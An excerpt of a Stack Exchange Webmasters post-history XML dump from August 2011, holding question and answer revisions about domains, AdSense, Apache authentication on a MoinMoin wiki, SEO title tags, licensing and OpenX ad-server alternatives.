  <row Id="45086" PostHistoryTypeId="2" PostId="18524" RevisionGUID="8bdedf2c-98b8-4b14-a298-55a49c6e571e" CreationDate="2011-08-21T06:26:32.107" UserId="9243" Text=".com domains always perform better. The difference in cost is just 4-5 $. You can try finding coupon codes for popular registars or buy in bulk.Any other extension except .com is a handicap unless you are targeting country specific queries." />
  <row Id="45087" PostHistoryTypeId="25" PostId="18519" RevisionGUID="ca3a0066-78ed-428f-90ad-f641eeb169ac" CreationDate="2011-08-21T06:35:03.010" Comment="http://twitter.com/#!/StackWebmasters/status/105166000227495936" />
  <row Id="45088" PostHistoryTypeId="2" PostId="18525" RevisionGUID="11477f14-3834-4721-8066-77720759873e" CreationDate="2011-08-21T07:54:00.850" UserId="9713" Text="I saw blog which has nice formated Google Adsense ads, but I don't know how to generate them. Here is a screenshot: http://imgur.com/U0mzk (sorry for plain link but I'm too fresh here to use img tag )&#xD;&#xA;&#xD;&#xA;Is it text link format or what?&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="45089" PostHistoryTypeId="1" PostId="18525" RevisionGUID="11477f14-3834-4721-8066-77720759873e" CreationDate="2011-08-21T07:54:00.850" UserId="9713" Text="Blog suitable Adsense format" />
  <row Id="45090" PostHistoryTypeId="3" PostId="18525" RevisionGUID="11477f14-3834-4721-8066-77720759873e" CreationDate="2011-08-21T07:54:00.850" UserId="9713" Text="&lt;google&gt;&lt;google-adsense&gt;&lt;advertising&gt;&lt;blog&gt;" />
  <row Id="45091" PostHistoryTypeId="17" PostId="18526" RevisionGUID="ad12d424-7c23-4327-b432-5dc44042c5cf" CreationDate="2011-08-21T08:47:38.800" UserId="-1" Comment="from http://serverfault.com/questions/303124/why-isnt-http-authentication-working-on-this-apache-https-site" Text="" />
  <row Id="45092" PostHistoryTypeId="2" PostId="18527" RevisionGUID="829f14bb-04d6-49cf-a805-dca6e459a63e" CreationDate="2011-08-20T01:58:21.450" UserDisplayName="Graham Dumpleton" Text="Don't put auth directives inside a Proxy directive, put it inside a Directory directive for '/usr/share/moin/server'." />
  <row Id="45093" PostHistoryTypeId="2" PostId="18526" RevisionGUID="c6e69064-76b2-4585-b157-64514bc2f43e" CreationDate="2011-08-19T07:31:34.370" UserId="2029" Text="I have set up a private [MoinMoin][1] wiki, accessed through HTTPS, but I cannot get Basic HTTP Authentication to work on it.  I have it working on another site, using a similar vhosts file, so I cannot figure out what I am doing wrong.&#xD;&#xA;&#xD;&#xA;When accessing the site, the connection gets redirected to HTTPS, as intended, but there is no request for authentication credentials.&#xD;&#xA;&#xD;&#xA;Nothing relevant seems to be appearing in the access log or error log either, which is strange.  I am not sure if MoinMoin sites keep their own logs, but I have defined logs in the vhosts file.&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost 00.00.00.00:80&gt;&#xD;&#xA;            ServerName wiki.mysite.net&#xD;&#xA;            Redirect 301 / https://wiki.mysite.net&#xD;&#xA;            CustomLog /var/log/apache2/access.log combined&#xD;&#xA;            ErrorLog /var/log/apache2/error.log&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost 00.00.00.00:443&gt;&#xD;&#xA;            ServerName      wiki.mysite.net&#xD;&#xA;            DocumentRoot    /var/www/mywiki/&#xD;&#xA;                    &#xD;&#xA;            ### Serve static contents (images, javascript, css...) ###&#xD;&#xA;            AliasMatch &quot;^/moin_static[0-9]*/applets/FCKeditor/(.*)&quot; &quot;/usr/share/fckeditor/$1&quot;&#xD;&#xA;            &lt;Directory &quot;/usr/share/fckeditor/&quot;&gt;&#xD;&#xA;                    Options None&#xD;&#xA;                    AllowOverride&#xD;&#xA;            &lt;/Directory&gt;&#xD;&#xA;                                                                    &#xD;&#xA;            # The path to static contents changes (named after moinmoin version).&#xD;&#xA;            AliasMatch &quot;^/moin_static[0-9]*/(.*)&quot; &quot;/usr/share/moin/htdocs/$1&quot;&#xD;&#xA;            &lt;Directory &quot;/usr/share/moin/htdocs/&quot;&gt;&#xD;&#xA;                    Options -Indexes -FollowSymlinks&#xD;&#xA;                    AllowOverride None&#xD;&#xA;            &lt;/Directory&gt;&#xD;&#xA;            &#xD;&#xA;            Alias /robots.txt /usr/share/moin/htdocs/robots.txt&#xD;&#xA;            Alias /favicon.ico /usr/share/moin/htdocs/favicon.ico&#xD;&#xA;            &#xD;&#xA;            WSGIDaemonProcess mywiki user=www-data group=www-data processes=4 display-name=moin-wsgi-mywiki&#xD;&#xA;            WSGIProcessGroup mywiki&#xD;&#xA;            WSGIScriptAlias / &quot;/usr/share/moin/server/moin.wsgi&quot;&#xD;&#xA;            # WSGIPassAuthorization On&#xD;&#xA;            # Read: http://moinmo.in/HowTo/ApacheWithModWSGI&#xD;&#xA;            &#xD;&#xA;            &lt;Proxy *&gt;&#xD;&#xA;                    AuthUserFile    /var/www/.htpasswd&#xD;&#xA;                    AuthName        EnterPassword&#xD;&#xA;                    AuthType        Basic&#xD;&#xA;                    require         valid-user&#xD;&#xA;                    Order           Deny,allow&#xD;&#xA;                    Allow           from all&#xD;&#xA;            &lt;/Proxy&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://moinmo.in/" />
  <row Id="45094" PostHistoryTypeId="1" PostId="18526" RevisionGUID="c6e69064-76b2-4585-b157-64514bc2f43e" CreationDate="2011-08-19T07:31:34.370" UserId="2029" Text="Why isn't HTTP Authentication working on this Apache HTTPS site?" />
  <row Id="45095" PostHistoryTypeId="3" PostId="18526" RevisionGUID="c6e69064-76b2-4585-b157-64514bc2f43e" CreationDate="2011-08-19T07:31:34.370" UserId="2029" Text="&lt;apache&gt;&lt;ssl&gt;&lt;authentication&gt;&lt;virtualhost&gt;" />
  <row Id="45096" PostHistoryTypeId="17" PostId="18527" RevisionGUID="e152f2ad-a385-4637-a5df-8154b57f9656" CreationDate="2011-08-21T08:47:38.800" UserId="-1" Comment="from http://serverfault.com/questions/303124/why-isnt-http-authentication-working-on-this-apache-https-site" Text="" />
  <row Id="45097" PostHistoryTypeId="17" PostId="18528" RevisionGUID="fdc9571d-ce77-4e1e-aa7e-ababce43dac0" CreationDate="2011-08-21T08:59:59.423" UserId="-1" Comment="from http://stackoverflow.com/questions/7137200/site-gone-missing-from-google-and-no-visitors-in-analytics" Text="" />
  <row Id="45098" PostHistoryTypeId="17" PostId="18529" RevisionGUID="26e54a98-e1b0-4fd0-aef2-8a20848b11f1" CreationDate="2011-08-21T08:59:59.423" UserId="-1" Comment="from http://stackoverflow.com/questions/7137200/site-gone-missing-from-google-and-no-visitors-in-analytics" Text="" />
  <row Id="45099" PostHistoryTypeId="2" PostId="18529" RevisionGUID="6a4e41f0-600e-42ee-96f4-2b9d51d995fd" CreationDate="2011-08-21T08:26:47.110" UserDisplayName="Pete855217" Text="Check to see if your site has been banned, or perhaps robots.txt has vanished/become invalid.&#xD;&#xA;&#xD;&#xA;google site:www.yoursite.com first to see if google still recognizes it.&#xD;&#xA;If it doesn't and robots.txt is fine, you'll need to go through the google unbanning process.&#xD;&#xA;" />
  <row Id="45100" PostHistoryTypeId="2" PostId="18528" RevisionGUID="fd91ca24-f8eb-46c8-ab84-8fbefe4f8ff6" CreationDate="2011-08-21T08:23:16.647" UserDisplayName="Brian" Text="I've just noticed that since the 20th Juli, Google Analytics hasn't picked up on my visitors and my website is no longer on Google.com. Only sub domains like website.com/forum/&#xD;&#xA;&#xD;&#xA;I can't recall having changed anything, and my analytics code is still there.&#xD;&#xA;&#xD;&#xA;Any idea why my site suddenly seems to block robots from checking my site?" />
  <row Id="45101" PostHistoryTypeId="1" PostId="18528" RevisionGUID="fd91ca24-f8eb-46c8-ab84-8fbefe4f8ff6" CreationDate="2011-08-21T08:23:16.647" UserDisplayName="Brian" Text="Site gone missing from Google and no visitors in analytics" />
  <row Id="45102" PostHistoryTypeId="3" PostId="18528" RevisionGUID="fd91ca24-f8eb-46c8-ab84-8fbefe4f8ff6" CreationDate="2011-08-21T08:23:16.647" UserDisplayName="Brian" Text="&lt;google&gt;" />
  <row Id="45103" PostHistoryTypeId="2" PostId="18530" RevisionGUID="5b3a68b4-a960-4bde-b4d0-6fc585a74762" CreationDate="2011-08-21T09:20:24.037" UserId="9714" Text="In the past, improper image resizing used to be a big no-no of web design (not mentioning improper compression format). Hence, for years I have been sticking to the policy where images (PNG or JPG) are resized on the server to match the resolution pixel-wise they will have with the rendered page.&#xD;&#xA;&#xD;&#xA;Now, recently, I hastily designed a HTML draft with oversized images, using inline CSS style such as `width:123px` and `height:123px` to resize the images. To my (slight) surprise, the page turned out to look _much better_ that way.&#xD;&#xA;&#xD;&#xA;Indeed, with better screen resolution, some people (like me), tend to browse with some level of zoom (aka 125% or even 150% zoom), otherwise fonts are just too small on-screen. Then, if the image is strictly sized, the enlarged image appears blurry (pixel interpolation effect), but if the image is oversized the results is much better.&#xD;&#xA;&#xD;&#xA;Obviously, oversizing images is not an acceptable pattern if your website is intended for mobile browsing, but is there case where it would be considered as acceptable? Especially if the extra page weight is small anyway." />
  <row Id="45104" PostHistoryTypeId="1" PostId="18530" RevisionGUID="5b3a68b4-a960-4bde-b4d0-6fc585a74762" CreationDate="2011-08-21T09:20:24.037" UserId="9714" Text="Oversizing images to produce better looking pages?" />
  <row Id="45105" PostHistoryTypeId="3" PostId="18530" RevisionGUID="5b3a68b4-a960-4bde-b4d0-6fc585a74762" CreationDate="2011-08-21T09:20:24.037" UserId="9714" Text="&lt;images&gt;&lt;screen-size&gt;" />
  <row Id="45106" PostHistoryTypeId="25" PostId="18433" RevisionGUID="1b27ec5c-cf0c-44fc-97b5-7634de927944" CreationDate="2011-08-21T09:35:02.577" Comment="http://twitter.com/#!/StackWebmasters/status/105211297506918401" />
  <row Id="45107" PostHistoryTypeId="17" PostId="18531" RevisionGUID="f2601ca2-cffd-4d6b-a5b8-12c415ade870" CreationDate="2011-08-21T09:59:49.187" UserId="-1" Comment="from http://stackoverflow.com/questions/7137217/is-using-html5-doctype-harmful-for-mobile-seo-in-google" Text="" />
  <row Id="45108" PostHistoryTypeId="2" PostId="18531" RevisionGUID="fd167dc9-c0b3-4b29-b35a-0942d147dd26" CreationDate="2011-08-21T08:28:40.677" UserId="1660" Text="At this page Google mentioned http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=34637&amp;ctx=cb&amp;src=cb&amp;cbid=-1rb2an4c1lcom&amp;cbrank=3&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Q. What mobile markup languages do you support?**&#xD;&#xA;&#xD;&#xA;**A.** We support XHTML basic, XHTML Mobile Profile, WML, and cHTML.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45109" PostHistoryTypeId="1" PostId="18531" RevisionGUID="fd167dc9-c0b3-4b29-b35a-0942d147dd26" CreationDate="2011-08-21T08:28:40.677" UserId="1660" Text="Is using HTML5 Doctype harmful for Mobile SEO in google?" />
  <row Id="45110" PostHistoryTypeId="3" PostId="18531" RevisionGUID="fd167dc9-c0b3-4b29-b35a-0942d147dd26" CreationDate="2011-08-21T08:28:40.677" UserId="1660" Text="&lt;html5&gt;&lt;google&gt;&lt;seo&gt;" />
  <row Id="45111" PostHistoryTypeId="2" PostId="18532" RevisionGUID="3554dab0-7b60-4859-be81-86af04482f89" CreationDate="2011-08-21T10:18:28.143" UserId="2399" Text="I want to offer a monthly paid-subscription plan so that users on my website can access more features.&#xD;&#xA;&#xD;&#xA;Most sites I visit only accept payment in USD. Would customer conversion by higher if the payment was only in USD, or if people were allowed to pay in their preferred currency (Euro, GBP, etc.)?" />
  <row Id="45112" PostHistoryTypeId="1" PostId="18532" RevisionGUID="3554dab0-7b60-4859-be81-86af04482f89" CreationDate="2011-08-21T10:18:28.143" UserId="2399" Text="Is customer conversion higher with fixed or selective currency payment options?" />
  <row Id="45113" PostHistoryTypeId="3" PostId="18532" RevisionGUID="3554dab0-7b60-4859-be81-86af04482f89" CreationDate="2011-08-21T10:18:28.143" UserId="2399" Text="&lt;payment&gt;&lt;conversions&gt;&lt;subscription&gt;" />
  <row Id="45114" PostHistoryTypeId="17" PostId="18533" RevisionGUID="6b952d20-55ab-459f-9062-91553b07ac5b" CreationDate="2011-08-21T10:44:13.750" UserId="-1" Comment="from http://stackoverflow.com/questions/7137738/seo-better-empty-title-tag-or-skip-title-tag" Text="" />
  <row Id="45115" PostHistoryTypeId="2" PostId="18533" RevisionGUID="db8df484-be74-4282-a179-19d3e001d57d" CreationDate="2011-08-21T10:41:32.877" UserDisplayName="Mr Sooul" Text="What is better, if somebody skip `&lt;title&gt;` tag or `&lt;meta name=&quot;description&quot; /&gt;` &#xD;&#xA;&#xD;&#xA;or leave empty value:&#xD;&#xA;&#xD;&#xA;    &lt;title&gt;&lt;/title&gt;&#xD;&#xA;    &lt;meta name=&quot;description&quot; content=&quot;&quot; /&gt; &#xD;&#xA;&#xD;&#xA;? Or maybe all above has the same meaning for crawlers?" />
  <row Id="45116" PostHistoryTypeId="1" PostId="18533" RevisionGUID="db8df484-be74-4282-a179-19d3e001d57d" CreationDate="2011-08-21T10:41:32.877" UserDisplayName="Mr Sooul" Text="SEO - Better empty title tag or skip title tag?" />
  <row Id="45117" PostHistoryTypeId="3" PostId="18533" RevisionGUID="db8df484-be74-4282-a179-19d3e001d57d" CreationDate="2011-08-21T10:41:32.877" UserDisplayName="Mr Sooul" Text="&lt;html&gt;&lt;seo&gt;" />
  <row Id="45118" PostHistoryTypeId="2" PostId="18534" RevisionGUID="68e91b97-add0-494d-8008-2fdf92f59f16" CreationDate="2011-08-21T11:07:05.517" UserId="3118" Text="It is required to have the title tag in your html document. If you don't have a description for your page then don't put the meta element in your document.&#xD;&#xA;&#xD;&#xA;I don't see how this is SEO if you don't want to have a title or description in your html." />
  <row Id="45119" PostHistoryTypeId="2" PostId="18535" RevisionGUID="9aa7161e-b7ac-4b6e-a283-ce5e007b437d" CreationDate="2011-08-21T11:09:50.550" UserId="5425" Text="I'm afraid one of my clients might ask his fellow software engineer to design a few page templates for a WordPress-based community I'm redesigning, according to my code and design. He just bounced me back an estimate cutting down expenses on page templates and leaving only the frontpage template, which is clearly the only one he can easily replicate into multiple page templates, for the core pages whose templates he just dismissed.&#xD;&#xA;&#xD;&#xA;Is there any way to protect my code and designs with strict licensing? Are there any ways to protect my work from being copied by my own client? Which licenses should I use?" />
  <row Id="45120" PostHistoryTypeId="1" PostId="18535" RevisionGUID="9aa7161e-b7ac-4b6e-a283-ce5e007b437d" CreationDate="2011-08-21T11:09:50.550" UserId="5425" Text="Licenses: How to best protect my web designs?" />
  <row Id="45121" PostHistoryTypeId="3" PostId="18535" RevisionGUID="9aa7161e-b7ac-4b6e-a283-ce5e007b437d" CreationDate="2011-08-21T11:09:50.550" UserId="5425" Text="&lt;theme&gt;&lt;code&gt;&lt;protection&gt;&lt;clients&gt;&lt;copy&gt;" />
  <row Id="45122" PostHistoryTypeId="5" PostId="18443" RevisionGUID="d103bf54-4e0a-4f81-b2a4-05ba352174e4" CreationDate="2011-08-21T11:16:12.973" UserId="5425" Comment="deleted 8 characters in body; edited tags; edited title" Text="I just met a fellow designer who runs a website with the same pagerank as mine. When googling both our names, search results will show Site links below his website, but not mine. Do you know which attributes are handled by Google to define when and how these links are shown in search results?" />
  <row Id="45123" PostHistoryTypeId="4" PostId="18443" RevisionGUID="d103bf54-4e0a-4f81-b2a4-05ba352174e4" CreationDate="2011-08-21T11:16:12.973" UserId="5425" Comment="deleted 8 characters in body; edited tags; edited title" Text="How are Google Site links generated in search results?" />
  <row Id="45124" PostHistoryTypeId="6" PostId="18443" RevisionGUID="d103bf54-4e0a-4f81-b2a4-05ba352174e4" CreationDate="2011-08-21T11:16:12.973" UserId="5425" Comment="deleted 8 characters in body; edited tags; edited title" Text="&lt;google&gt;&lt;pagerank&gt;&lt;google-search&gt;&lt;sitelinks&gt;" />
  <row Id="45125" PostHistoryTypeId="17" PostId="18536" RevisionGUID="2d825d4e-896a-4089-a783-26c579219662" CreationDate="2011-08-21T11:39:38.130" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/18300/what-is-condition-of-link-to-developers-website-condition-in-license" Text="" />
  <row Id="45126" PostHistoryTypeId="2" PostId="18536" RevisionGUID="b42b4524-b93e-4900-85f2-c000565889d7" CreationDate="2011-08-21T09:44:55.467" UserId="1507" Text="I want to use following icons for my commercial website for free. &#xD;&#xA;&#xD;&#xA;http://www.gettyicons.com/free-icon/112/must-have-icon-set/free-remove-icon-png/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;According to to above link:&#xD;&#xA;&#xD;&#xA;&gt; Visual Pharm is the author of this icon. Visual Pharm will remain&#xD;&#xA;&gt; owner of this icon and you cannot sell it, but you are allowed to&#xD;&#xA;&gt; apply this icon in your commercial and non-commercial projects with&#xD;&#xA;&gt; condition of link to developer's website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But I cant understand following:&#xD;&#xA;&#xD;&#xA;&gt; with condition of link to developer's website&#xD;&#xA;&#xD;&#xA;I have to show link of owner of icon site on my commercial website. If yes, where will I show their link.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is there any other icons package that I can use commercially for free without showing their link on my site ?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="45127" PostHistoryTypeId="1" PostId="18536" RevisionGUID="b42b4524-b93e-4900-85f2-c000565889d7" CreationDate="2011-08-21T09:44:55.467" UserId="1507" Text="What is &quot;condition of link to developer's website&quot; condition in license" />
  <row Id="45128" PostHistoryTypeId="3" PostId="18536" RevisionGUID="b42b4524-b93e-4900-85f2-c000565889d7" CreationDate="2011-08-21T09:44:55.467" UserId="1507" Text="&lt;websites&gt;&lt;legal&gt;" />
  <row Id="45129" PostHistoryTypeId="17" PostId="18537" RevisionGUID="2fbd6c1a-9a8a-48de-b7b6-b15b52b03c77" CreationDate="2011-08-21T11:44:16.173" UserId="-1" Comment="from http://stackoverflow.com/questions/3438800/ad-serving-applications-alternative-to-openx" Text="" />
  <row Id="45130" PostHistoryTypeId="17" PostId="18538" RevisionGUID="7b8c0058-cadc-4bda-9e34-648a1c1fb0c4" CreationDate="2011-08-21T11:44:16.173" UserId="-1" Comment="from http://stackoverflow.com/questions/3438800/ad-serving-applications-alternative-to-openx" Text="" />
  <row Id="45131" PostHistoryTypeId="17" PostId="18539" RevisionGUID="dde4b334-738b-4db8-b55a-4a65f650abe7" CreationDate="2011-08-21T11:44:16.173" UserId="-1" Comment="from http://stackoverflow.com/questions/3438800/ad-serving-applications-alternative-to-openx" Text="" />
  <row Id="45132" PostHistoryTypeId="17" PostId="18540" RevisionGUID="ee35a133-df6e-4247-8336-eda4c941963f" CreationDate="2011-08-21T11:44:16.173" UserId="-1" Comment="from http://stackoverflow.com/questions/3438800/ad-serving-applications-alternative-to-openx" Text="" />
  <row Id="45133" PostHistoryTypeId="17" PostId="18541" RevisionGUID="59ef6876-bf2c-481e-aed2-684774337a68" CreationDate="2011-08-21T11:44:16.173" UserId="-1" Comment="from http://stackoverflow.com/questions/3438800/ad-serving-applications-alternative-to-openx" Text="" />
  <row Id="45134" PostHistoryTypeId="17" PostId="18542" RevisionGUID="eb1d8d8e-7b0a-4de7-8747-3cb3a33dc1cb" CreationDate="2011-08-21T11:44:16.173" UserId="-1" Comment="from http://stackoverflow.com/questions/3438800/ad-serving-applications-alternative-to-openx" Text="" />
  <row Id="45135" PostHistoryTypeId="17" PostId="18543" RevisionGUID="e9d799a3-c0d4-4d80-8437-8eb5594fd37f" CreationDate="2011-08-21T11:44:16.173" UserId="-1" Comment="from http://stackoverflow.com/questions/3438800/ad-serving-applications-alternative-to-openx" Text="" />
  <row Id="45136" PostHistoryTypeId="2" PostId="18538" RevisionGUID="d7dead87-4c88-43c7-9a52-8fb152b09c78" CreationDate="2010-08-10T14:40:48.317" UserDisplayName="Superfly" Text="If you are looking for an administrator-centric ad server, try Dart for Publishers or Zedo.&#xD;&#xA;&#xD;&#xA;If you are looking for an advertiser-centric ad server, try the new self-service ad servers out there such as Trafficspaces or iSocket." />
  <row Id="45137" PostHistoryTypeId="2" PostId="18539" RevisionGUID="2676c3c7-4206-4839-98da-416418412b47" CreationDate="2010-10-27T13:10:22.707" UserDisplayName="Vitaly Sazanovich" Text="Dave,&#xD;&#xA;we have released AdServerBeans MyAds v.0.4 ([http://www.adserverbeans.com][1]) a few weeks ago. You might be interested to take a look. It's open source and we position it as an alternative to OpenX in regard to features and purpose.&#xD;&#xA;We definitely can't have SQL injection vulnerability since we are using Java's PreparedStatements.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adserverbeans.com" />
  <row Id="45138" PostHistoryTypeId="2" PostId="18540" RevisionGUID="254f5d93-59ff-4bb2-b4fe-c5cb3ed58bb3" CreationDate="2010-12-02T00:31:39.423" UserDisplayName="alshapton" Text="You could look at adwhirl - www.adwhirl.com - its an open source product which could serve your needs - it allows integration with admob and a few others....." />
  <row Id="45139" PostHistoryTypeId="2" PostId="18541" RevisionGUID="34f89728-ed43-4966-a68b-ba1fabb2ce92" CreationDate="2011-03-09T08:54:11.017" UserDisplayName="Tapan Sinha" Text="I have used this and loved it.&#xD;&#xA;&#xD;&#xA;http://www.agileoutsource.com/products/adnet.html&#xD;&#xA;&#xD;&#xA;Simple and Effective." />
  <row Id="45140" PostHistoryTypeId="2" PostId="18542" RevisionGUID="74718bf6-6a6f-4096-b29b-43b48b799b12" CreationDate="2011-04-27T16:30:39.163" UserDisplayName="Jake Freely" Text="have a look at http://oasis.sourceforge.net&#xD;&#xA;&#xD;&#xA;It's a good basic ad server with high performance.  Only problem is that it does not support newest PHP5." />
  <row Id="45141" PostHistoryTypeId="2" PostId="18543" RevisionGUID="a63e105b-ce48-4bf0-9a26-0e748de692e7" CreationDate="2011-08-14T04:25:36.403" UserDisplayName="Andy Schrader" Text="There are a lot of alternatives to OpenX but there is no one answer that fits everyone. If you're looking for a free alternative then you'll find plenty of options but I've found that you get what you pay for in terms of support and features. &#xD;&#xA;&#xD;&#xA;If you're serving more than 100 million impressions each month and you need a dependable ad server then the list is pretty standard: DoubleClick, 24/7 OAS, AdTech and Adzerk. With the exception of Adzerk many of these ad servers require a contract and large monthly minimum to get started. &#xD;&#xA;&#xD;&#xA;If you're serving between 1M and 100M then I think DoubleClick Small Business and Adzerk are good options since they are easy to signup for and don't require a contract. Adzerk has more support and is easier to use but DoubleClick is the bigger name. Also note that this site (StackOverflow.com) uses Adzerk.&#xD;&#xA;&#xD;&#xA;Full Disclosure: I work for Adzerk so feel free to reach out if you'd like more information.  &#xD;&#xA;" />
  <row Id="45142" PostHistoryTypeId="2" PostId="18537" RevisionGUID="9c818f2e-672c-4fa0-8435-2e7698709dbb" CreationDate="2010-08-09T09:39:55.670" UserDisplayName="Dave" Text="I have been serving ads via OpenX on a site for a while now but was recently hit by the SQL Injection vulnerability in the software which caused all sorts of problems.  &#xD;&#xA;&#xD;&#xA;I am looking for an alternative to OpenX.  It doesn't have to be open source, so far [Ad Butler][1]  is looking the most promising.&#xD;&#xA;&#xD;&#xA;Any one have any suggestions for a decent ad serving solution?&#xD;&#xA;&#xD;&#xA;Many thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adbutler.com/" />
  <row Id="45143" PostHistoryTypeId="1" PostId="18537" RevisionGUID="9c818f2e-672c-4fa0-8435-2e7698709dbb" CreationDate="2010-08-09T09:39:55.670" UserDisplayName="Dave" Text="Ad serving applications - alternative to Openx?" />
  <row Id="45144" PostHistoryTypeId="3" PostId="18537" RevisionGUID="9c818f2e-672c-4fa0-8435-2e7698709dbb" CreationDate="2010-08-09T09:39:55.670" UserDisplayName="Dave" Text="&lt;openx&gt;" />
  <row Id="45145" PostHistoryTypeId="2" PostId="18544" RevisionGUID="8a6dab26-8e44-48f8-8ecf-f76e0eec9518" CreationDate="2011-08-21T12:27:48.180" UserId="4306" Text="It is better to leave the title tag and description meta tag out than to have them populated with empty strings.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Best:**&#xD;&#xA;&#xD;&#xA;Unique, keyword-rich title tag and relevant description meta tag.&#xD;&#xA;&#xD;&#xA;**Okay:**&#xD;&#xA;&#xD;&#xA;Unique, keyword-rich title tag and **no** description meta tag.&#xD;&#xA;&#xD;&#xA;**Bad:**&#xD;&#xA;&#xD;&#xA;No title tag and no description meta tag.&#xD;&#xA;&#xD;&#xA;**Very bad:**&#xD;&#xA;&#xD;&#xA;Empty title tag and description meta tag.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Worst:**&#xD;&#xA;&#xD;&#xA;Same title and description meta-tag on each page&#xD;&#xA;" />
  <row Id="45146" PostHistoryTypeId="25" PostId="18532" RevisionGUID="b6895c37-2364-409b-92d4-9302364426ae" CreationDate="2011-08-21T12:35:02.470" Comment="http://twitter.com/#!/StackWebmasters/status/105256596308897794" />
  <row Id="45147" PostHistoryTypeId="5" PostId="18511" RevisionGUID="ab549df2-ea89-4d13-a687-6aa1c499fd03" CreationDate="2011-08-21T13:10:50.163" UserId="288" Comment="clarification" Text="A programming option would be to store the image order in the EXIF data of the jpg files.&#xD;&#xA;&#xD;&#xA;There's a `UserComment` or `ImageDescription` property you could use - assuming that these weren't already used in the image of course.&#xD;&#xA;&#xD;&#xA;This will be slower than using an external file/database or changing the names or timestamps of the files, but it is self contained." />
  <row Id="45148" PostHistoryTypeId="2" PostId="18545" RevisionGUID="6753cccb-0001-425c-93d3-a05420407016" CreationDate="2011-08-21T13:20:23.737" UserId="1253" Text="The contents of your `&lt;title&gt;` tag is almost certainly the most important on page SEO factor. Leaving it blank is essentially SEO suicide. Not coincidentally, it is also very bad usability as users use it to tell what page they are on and it is also the default title used when a page is bookmarked.&#xD;&#xA;&#xD;&#xA;An empty meta description isn't a big deal. It isn't used for ranking purposes and its content may be used as a page's description in the search results. However, if it is blank other content can be used as a page's description so leaving it blank won't actually harm your rankings." />
  <row Id="45149" PostHistoryTypeId="5" PostId="18537" RevisionGUID="9e9d684b-55d2-4c1b-81c0-9177963f5158" CreationDate="2011-08-21T13:21:22.363" UserId="1253" Comment="modified tags, minor text edits" Text="I have been serving ads via OpenX on a site for a while now but was recently hit by the SQL Injection vulnerability in the software which caused all sorts of problems.  &#xD;&#xA;&#xD;&#xA;I am looking for an alternative to OpenX.  It doesn't have to be open source, so far [Ad Butler][1]  is looking the most promising.&#xD;&#xA;&#xD;&#xA;Any one have any suggestions for a decent ad serving solution?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adbutler.com/" />
  <row Id="45150" PostHistoryTypeId="6" PostId="18537" RevisionGUID="9e9d684b-55d2-4c1b-81c0-9177963f5158" CreationDate="2011-08-21T13:21:22.363" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;looking-for-a-script&gt;&lt;openx&gt;" />
  <row Id="45151" PostHistoryTypeId="5" PostId="18537" RevisionGUID="9612e3b3-630e-4c5e-9ba5-e90e2a3a5aa1" CreationDate="2011-08-21T13:21:44.687" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [PHP based ad server ( alternative to OpenX )](http://webmasters.stackexchange.com/questions/10242/php-based-ad-server-alternative-to-openx)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have been serving ads via OpenX on a site for a while now but was recently hit by the SQL Injection vulnerability in the software which caused all sorts of problems.  &#xD;&#xA;&#xD;&#xA;I am looking for an alternative to OpenX.  It doesn't have to be open source, so far [Ad Butler][1]  is looking the most promising.&#xD;&#xA;&#xD;&#xA;Any one have any suggestions for a decent ad serving solution?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adbutler.com/" />
  <row Id="45152" PostHistoryTypeId="10" PostId="18537" RevisionGUID="fb9c6f50-f4a8-468f-8882-9077fc6770f8" CreationDate="2011-08-21T13:21:44.377" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45153" PostHistoryTypeId="5" PostId="18536" RevisionGUID="9fe80219-234d-49b2-b4cb-c6faa15c4ceb" CreationDate="2011-08-21T13:22:24.047" UserId="1253" Comment="modified tags, minor text edits" Text="I want to use following icons for my commercial website for free. &#xD;&#xA;&#xD;&#xA;http://www.gettyicons.com/free-icon/112/must-have-icon-set/free-remove-icon-png/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;According to to above link:&#xD;&#xA;&#xD;&#xA;&gt; Visual Pharm is the author of this icon. Visual Pharm will remain&#xD;&#xA;&gt; owner of this icon and you cannot sell it, but you are allowed to&#xD;&#xA;&gt; apply this icon in your commercial and non-commercial projects with&#xD;&#xA;&gt; condition of link to developer's website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But I cant understand following:&#xD;&#xA;&#xD;&#xA;&gt; with condition of link to developer's website&#xD;&#xA;&#xD;&#xA;Do I have to show link of owner of icon site on my commercial website? If yes, where will I show their link?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is there any other icons package that I can use commercially for free without showing their link on my site?&#xD;&#xA;" />
  <row Id="45154" PostHistoryTypeId="6" PostId="18536" RevisionGUID="9fe80219-234d-49b2-b4cb-c6faa15c4ceb" CreationDate="2011-08-21T13:22:24.047" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;legal&gt;" />
